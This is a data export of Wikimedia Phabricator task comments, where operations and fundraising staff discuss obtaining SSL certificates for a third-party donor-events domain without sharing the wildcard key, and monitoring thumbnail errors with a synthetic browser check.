forward.",,,1438125652,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+498488,SSL cert needed for new fundraising events domain,"The concern for us lies in what @EWilfong_WMF just said — SNI
+incompatibility on XP applies to all versions of IE, not just IE 6. So for
+XP users with IE 7+, they would be able to see eventdonations.wikimedia.org,
+but not events.wikimedia.org if it were https.
+
+We don't have a way of knowing what OS our donors use, so we can't give an
+estimate of how many use XP, but we operate under the reasonable assumption
+that due to the age demographic of most of our major donors, they are
+unlikely to have up to date operating systems. This is a real concern when
+dealing with these donors.
+
+I can see that we may not be able to use events.wikimedia.org on http for
+the long term, so we will have to see what our best alternatives are. In
+the meantime, we have only a couple weeks to get out the first round of
+invitations through this system, and it's already taken months to get as
+far as we are now! Is it possible for us to move forward with the one cert
+for now, and then have a meeting to discuss solutions after?
+
+@BBlack if you'd still like to meet to have a broader conversation about
+fundraising and third parties, let me know. That conversation is much
+bigger than me so I will need to get Lisa and Megan involved.",,,1438115584,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0
+498446,SSL cert needed for new fundraising events domain,"Thanks, @bblack and @robh for the insight into current operating procedure for third-party sites hosted over HTTPS under the wikimedia.org domain.  We were not given direction regarding a SOP for this process, so that helps immensely.  I understand your concerns re: the wildcard certificate and agree that you should generate the certs on your end.
+
+Re: SNI, one clarification is that this will exclude all IE users on Windows XP. We are happy to set up events.wikimedia.org on HTTPS and recommended that we do so, but we wanted to provide the limitations of SNI upfront to the fundraising team. Ultimately this is a decision for Wikimedia to make internally, but I wanted to clarify that we are able to accommodate either decision.
+
+As an aside, I must stress that we take the security of our system very seriously and we're happy to discuss any specific concerns you have.  We have hosted large clients on our payment processing platform for 12 years and I’m confident that we can assuage any concerns regarding security of our system and the privacy of the data passing through it.
+",,,1438112074,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+498416,SSL cert needed for new fundraising events domain,"@bblack, we should definitely **NOT** give them our wildcard key. We will need to work out a safe way to get them subdomain certificates-- I think we should probably generate the key and get the certs, then send them the private key, instead of having to trust them to safely generate a key that we're going to put our name on.
+
+Caitlin, I didn't realize the plan was for events.wikimedia.org to be http only. As Brandon has said, if we're afraid donors aren't using a modern browser, then they won't be able to connect to Wikipedia either. It's some extra work for them, but I don't think there's a valid technical reason for them to not set that up for us.",,,1438109767,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+498394,SSL cert needed for new fundraising events domain,">>! In T107059#1488714, @CCogdill_WMF wrote:
+> We thought using the wildcard cert for donate.wikimedia.org already has was the easiest thing, but I can see your concerns so I've edited the task description to clarify that we are also fine with WMF purchasing a cert that we can use.
+
+All other things I've said aside, the primary reason we can't share the wildcard key is it gives the third party access to impersonate any and all of our other sites, and makes all of our operational security for our private key dependent on their operational security to boot.  I think the reason we've gotten a little hung up on that is that it's kind of crazy that anyone would even suggest that option, and speaks volumes as to their point of view on security issues...
+
+> The only domain for which we need a cert right now is eventdonations.wikimedia.org. 
+> 
+> We decided that events.wikimedia.org would be http for now because we are unable to use https on this system without breaking the page for users on XP / IE and other combos of old operating systems and browsers. The reason we can't have events.wikimedia.org over https is Trilogy's system is multi-tenancy. They can use Server Name Indication(SNI), which would allow multiple domain certs to exist at the same IP, however older browsers may not support SNI. See https://en.wikipedia.org/wiki/Server_Name_Indication#Implementation. 
+>
+> This tool will be used for a small number of major donors only, and that cohort is more likely to be using older operating systems.
+
+
+This doesn't make basic sense to me, for a number of reasons:
+1) It's generally impossible on the current internet to support HTTPS at all in a way that's both actually-secure and supports IE6/XP, due to the Poodle attack last year.  Regardless of SNI, the HTTPS site for eventdonations.wikimedia.org will be broken for the same users you're trying to save on events.wikimedia.org...
+2) Our own production sites are in a similar boat (as is the rest of the world).  IE6/XP is already dead to wikipedia and cannot access us at all.  It seems unlikely that donors need lowered access requirements as compared to the primary wiki sites themselves - they couldn't even use/read what what they're donating to support.
+3) The browsers you're talking about saving access to have ridiculously severe security flaws.  The donors might thank you for making it a little more obvious that if they're using these systems for anything financial or personal in nature at all, they're exposing themselves to some pretty severe risks...
+
+We've been way way way down the deep rabbit hole of all of these complex implementation, security, and compatibility tradeoffs for our primary production sites already, and we have a standardized setup that works well and gives the best compatibility we can without compromising security.  But once you step out to a third party, all bets are off and everything has to be evaluated from scratch again about how they're configured.  Generally speaking, the average site out there is configured pretty poorly...
+
+> My understanding from T102827 is that there are other subdomains running on http currently.
+
+There are a few, but not many, and we've been actively trying to eliminate them for some time now.  It's a mess, and adding more just extends that timeline and mess.
+",,,1438107659,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+498356,SSL cert needed for new fundraising events domain,"We thought using the wildcard cert for donate.wikimedia.org already has was the easiest thing, but I can see your concerns so I've edited the task description to clarify that we are also fine with WMF purchasing a cert that we can use.
+
+The only domain for which we need a cert right now is eventdonations.wikimedia.org. 
+
+We decided that events.wikimedia.org would be http for now because we are unable to use https on this system without breaking the page for users on XP / IE and other combos of old operating systems and browsers. The reason we can't have events.wikimedia.org over https is Trilogy's system is multi-tenancy. They can use Server Name Indication(SNI), which would allow multiple domain certs to exist at the same IP, however older browsers may not support SNI. See https://en.wikipedia.org/wiki/Server_Name_Indication#Implementation. 
+
+This tool will be used for a small number of major donors only, and that cohort is more likely to be using older operating systems.
+
+My understanding from T102827 is that there are other subdomains running on http currently. Is it possible for us to get the cert for eventdonations.wikimedia.org and run this system for now so that we can get invitations out for this event as soon as we need to? We can continue conversations about what to do with events.wikimedia.org going forward.
+
+
+
+> It concerns me that potentially private information about donors is passing through third parties at all.  How well do we trust these third parties in a legal sense to manage the privacy of that data? What about in an operational security sense?
+
+Legal has reviewed and approved contracts with all 3rd party contractors who manage data, and their approval process isn't easy! We wouldn't be able to process payments if we didn't involve third parties so I'm not sure this argument makes sense for an organization with a fundraising model. The eventdonations.wikimedia.org site, the only one which has any forms to collect donor data, will be PCI compliant and @csteipp spoke with one of our Trilogy contacts to determine the security of their systems on 7/17. What other steps should we take to determine operational security?",,,1438104721,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1
+498329,SSL cert needed for new fundraising events domain,"Having now read some of the traffic in the other linked tickets: can we at least be sure we get HTTPS working on both new domains as well?  We're trying to eliminate all endpoints within wikimedia.org that aren't HTTPS-capable (and then some, ideally).  Adding events.wikimedia.org as HTTP-only would be a step backwards on that front.",,,1438102217,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+498321,SSL cert needed for new fundraising events domain,">>! In T107059#1488355, @CCogdill_WMF wrote:
+> I'll set up a meeting this week. Can I get a sense of what the DNS/TLS issues are that concern you, so I know who I need to include from fundraising?
+
+In the broader context, I'm concerned about any further proliferation of this pattern of outsourcing critical sites that live within our production domainnames to 3rd parties.  That should be a pretty exceptional circumstance with a really good justification (I don't think even the few we have now are well-justified).  It raises all kinds of issues with certificates, with cross-domain trust/security issues in browsers (think cookies set on wikimedia.org ...), etc.
+
+Specifically on the certificate front: any solution other than having WMF purchase the cert on our own and hand it to the vendor presents problems with HSTS and HPKP preloading of our domains in browsers.  Even then, there are further operational concerns on two fronts.  The first is that for all kinds of interrelated security reasons we don't want to purchase certs with long lifetimes (we're keeping it down to 1 year at present, but I could even see us trying to go shorter in the future), and thus each 3rd party vendor set up this way also involves a once-per-year additional cost outlay and coordination with them on rotating to a new private key and new cert.  There's also concerns with operational practice mismatches with their TLS implementation on things like browser compatibility and basic minimum security levels.
+
+All of those things aside, in the broader context of both this ticket and the other issues touched on recently with email.donate.wikimedia.org + Silverpop, and perhaps other such issues I might not even be aware of yet: It concerns me that potentially private information about donors is passing through third parties at all.  How well do we trust these third parties in a legal sense to manage the privacy of that data?  What about in an operational security sense?  Those concerns face anyone using a 3rd party service for things like this, but they become even larger considerations when one factors in that we're an abnormal client.  Most of these organizations are built to serve the needs of commercial entities who explicitly want to exploit and share private customer data for marketing purposes, whereas we're a non-profit that values our users' privacy to a higher degree than the industry norm for these 3rd parties' other customers.",,,1438101741,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+498295,SSL cert needed for new fundraising events domain,"Brandon already covered this, but I'll add some clarification.  Right now we have at least three third party sites hosting SSL, all of which do NOT use wildcards: shop.wikimedia.org, blog.wikimedia.org, and wikitech-static.wikimedia.org.
+
+Each of these uses a certificate that is a non-wildcard.  We've never (to my knowledge, and as the guy who orders 99% of the SSL certs, its likely correct) handed any third party a wildcard certificate.  More to the point, we don't even allow wildcard certificates on most of our production systems.  (We've narrowed the scope of wildcards to only exist on a specific sub-set of systems, which also only allow root/ops access.)
+
+That being said, the domains listed: events.wikimedia.org and eventdonations.wikimedia.org are either two standard SSL certificates, or a single certificate with an additional SAN.  A non-wildcard certificate costs 1/6th what a wildcard costs, so even buying two (or one with SAN) versus a wildcard is both cheaper and more secure.  (Am I missing where using a wildcard is suggested for any other reason than 'it already exists'?)",,,1438100210,,PHID-USER-xy6c3ul27f336aaedx2d,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+498279,SSL cert needed for new fundraising events domain,"I apologize about the timeline; we weren't able to request the cert until T104357 was resolved. Originally we thought we were ahead of schedule.
+
+I'll set up a meeting this week. Can I get a sense of what the DNS/TLS issues are that concern you, so I know who I need to include from fundraising?",,,1438099105,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+498275,SSL cert needed for new fundraising events domain,"Operations, probably myself and @RobH at least on the certificate-purchasing front.  I imagine @Mark and @Faidon may have input or want to follow along as well.  Ideally, we should've been involved in this much earlier.  It's not a great feeling to get handed something questionable at the last minute and be told there's no time left to question it.  Can we schedule a meeting about it (and other related issues of broader scope) this week?",,,1438098502,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0
+498259,SSL cert needed for new fundraising events domain,"@BBlack we're on a time crunch with this project. The first event is scheduled for 10/1, so we need this system to be live within the next 2 weeks. Who should we involve to move this dialogue forward?",,,1438097389,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0
+498251,SSL cert needed for new fundraising events domain,"We're definitely not handing a 3rd party the private key to a WMF wildcard cert.  I don't think we'd authorize someone else to purchase certs in our name either.  At best you're looking at us purchasing certs for these specific hostnames and then handing them over.  All of that said, don't take that as my implicit approval of that as a path forward.  We should really have some internal dialog about FR/donations and DNS/TLS issues before we create more situations to deal with.",,,1438096844,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0
+498247,SSL cert needed for new fundraising events domain,"I apologize as I don't know who the question above was directed towards, but I'll add some thoughts from our end. Since there is already a wildcard cert for the site, it would be redundant to purchase another one for the Major Gifts event tool. We will host the site, but the SSL cert is used to identify the site as legitimate and secure regardless of where the site is hosted. However, if Wikimedia prefers we purchase a new cert for this subdomain we are able to do that.  We will need help from the ops team to approve the purchase of the cert; I can post more regarding this as we move forward with the purchase. Are there any specific requirements for the type of cert we should purchase? 
+
+Please let me know if you would like us to proceed with purchasing another cert or if we should work to use the existing cert.
+",,,1438096544,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+497607,SSL cert needed for new fundraising events domain,"> donate.wikimedia.org has a wildcard SSL cert, so we could conceivably use that for the events site
+
+But that's hosted by WMF... Shouldn't third-parties only get certs which match the domains they're actually hosting for Wikimedia?",,,1438021585,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+497606,SSL cert needed for new fundraising events domain,,,,1438021581,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+497604,SSL cert needed for new fundraising events domain,,,,1438021447,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+497603,SSL cert needed for new fundraising events domain,,,,1438021439,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+497602,SSL cert needed for new fundraising events domain,,,,1438021400,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+497577,SSL cert needed for new fundraising events domain,"@EWilfong_WMF is the relevant contact at Trilogy. Eric, if you have more specific questions, can you add them in a comment to this task? ",,,1438019717,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0
+106937,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"T106895 exposed a large hole in thumbnail monitoring. Even though this page was filled with broken thumbnails, no SMS or IRC spam was sent by any bots. In general, if that happens, it indicates a pretty serious problem with upload or new thumbnails.",High,80.0,1437820281,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,False,PHID-TASK-gqgt56wsdwwz36fqbgum,task_description,open,True,c3,3,True,False,,3,True,1,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1484434,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"Catchpoint has been decommissioned in the meantime, although for this type of check/alert there's certainly the need for sth like ""Did this page and all of its resources load correctly?""",,,1586878152,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,249,True,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0
+906040,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"@fgiunchedi ack, we don't have a ton of checks running w/ concurrency but @15m intervals seems sane.  Let's let it ride for awhile and check up with ongoing points usage.",,,1501698401,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,108,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+905911,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"Chatted with @chasemp about this today, the easiest way forward seems to be setting up an emulated check with thresholds for failure to load content. https://commons.wikimedia.org/wiki/Special:NewFiles is the easiest target as it is full of recent thumbnails that should just work.
+
+The test lives at https://portal.catchpoint.com/ui/Content/Tests/TestDetail.aspx?id=231161  and I've set to 15 min from NA only for an estimated impact of 2.25% of points, @chasemp does it look good to you?",,,1501689809,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,108,True,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0
+899956,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"@fgiunchedi it depends on what we want to watch move.  We already have a number of emulated/chrome checks that could double as thumbnail canaries.  If there is a particular page(s) that would demonstrate this failure early then an additional check(s) makes sense to me.  Right now it's more or less all project homepages.  One good note there is we do run cached and uncached checks.
+
+Cost is such a pita w/ catchpoint.  If we add a new check we could get away with emulated for child content awareness and that's 1 point per check per concurrent source (IIRC).  For May and June we did have an underrun for point usage (meaning our monthly usage is less than projected based on annual projected usage) we could play with here to see how it effects ongoing usage.  I don't have the numbers for last contract renewal / points = cost per point at the moment though.
+
+Check types for reference
+
+{F8832353} 
+
+Then we can alert based on referenced resources failing like
+
+{F8832338}
+
+One big red flag here is it wouldn't differentiate between thumbnails and any other child content.  In theory I imagine we shouldn't have any mass content failure on our pages so...but most of this was alerting at one time and did find a few serious externally visible issues and has since had alerting disabled as too verbose. 
+
+One option for this to use selenium style automation to make a more contextually specific thumbnail test like the one we have that demonstrates a basic login and edit:
+
+```// Step - 1
+open(""https://en.wikipedia.org/w/index.php?title=Special:UserLogin"")
+setStepName(""Open en.wp.o/Special:UserLogin"")
+type(""//*[@id='wpPassword1']"", ""barpass"")
+type(""//*[@id='wpName1']"", ""foouser"")
+
+// Step - 2
+clickAndWait(""//*[@id='wpLoginAttempt']"")
+setStepName(""Login to en.wp.o"")
+
+// Step - 3
+open(""https://en.wikipedia.org/w/index.php?title=User:foouser%29/sandbox&action=edit"")
+type(""//*[@id='wpTextbox1']"", ""${timeEpoch()} Testid: ${testid} Location: ${locationName} cityName: ${cityName} ispName: ${ispName}"")
+setStepName(""Edit user sandbox"")
+
+// Step - 4
+clickAndWait(""//*[@id='wpSave']"")
+setStepName(""Save user edit"")```
+
+The big downside here is check complexity probably means failure mode complexity for the check itself and /each step/ of the automation is a single point.
+
+thoughts:
+
+1) Make an catchpoint-alerts list and get some of these failures we have the ability to see now sent to those who want it
+2) Tweak our emulated and chrome checks for what we think will surface this thumbnail issue (and probably others).  i.e. I think most now are if 10 child elements fail or 10% of child elements fail that's bad.
+3) Figure out what web page to watch for emergent thumbnail problems makes sense and add that check.  Then watch the point usage for a bit to see how it will fair.
+
+",,,1500906463,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,107,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+899928,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"@fgiunchedi it depends on what we want to watch move.  We already have a number of emulated/chrome checks that could double as thumbnail canaries.  If there is a particular page(s) that would demonstrate this failure early then an additional check(s) makes sense to me.  Right now it's more or less all project homepages.  One good note there is we do run cached and uncached checks.
+
+Cost is such a pita w/ catchpoint.  If we add a new check we could get away with emulated for child content awareness and that's 1 point per check per concurrent source (IIRC).  For May and June we did have an underrun for point usage (meaning our monthly usage is less than projected based on annual projected usage) we could play with here to see how it effects ongoing usage.  I don't have the numbers for last contract renewal / points = cost per point at the moment though.
+
+Check types for reference
+
+{F8832353} 
+
+Then we can alert based on referenced resources failing like
+
+{F8832338}
+
+One big red flag here is it wouldn't differentiate between thumbnails and any other child content.  In theory I imagine we shouldn't have any mass content failure on our pages so...but most of this was alerting at one time and did find a few serious externally visible issues and has since had alerting disabled as too verbose. 
+
+One option for this to use selenium style automation to make a more contextually specific thumbnail test like the one we have that demonstrates a basic login and edit:
+
+```// Step - 1
+open(""https://en.wikipedia.org/w/index.php?title=Special:UserLogin"")
+setStepName(""Open en.wp.o/Special:UserLogin"")
+type(""//*[@id='wpPassword1']"", ""barpass"")
+type(""//*[@id='wpName1']"", ""foouser"")
+
+// Step - 2
+clickAndWait(""//*[@id='wpLoginAttempt']"")
+setStepName(""Login to en.wp.o"")
+
+// Step - 3
+open(""https://en.wikipedia.org/w/index.php?title=User:Ops_Monitor_%28WMF%29/sandbox&action=edit"")
+type(""//*[@id='wpTextbox1']"", ""${timeEpoch()} Testid: ${testid} Location: ${locationName} cityName: ${cityName} ispName: ${ispName}"")
+setStepName(""Edit user sandbox"")
+
+// Step - 4
+clickAndWait(""//*[@id='wpSave']"")
+setStepName(""Save user edit"")```
+
+The big downside here is check complexity probably means failure mode complexity for the check itself and /each step/ of the automation is a single point.
+
+thoughts:
+
+1) Make an catchpoint-alerts list and get some of these failures we have the ability to see now sent to those who want it
+2) Tweak our emulated and chrome checks for what we think will surface this thumbnail issue (and probably others).  i.e. I think most now are if 10 child elements fail or 10% of child elements fail that's bad.
+3) Figure out what web page to watch for emergent thumbnail problems makes sense and add that check.  Then watch the point usage for a bit to see how it will fair.
+
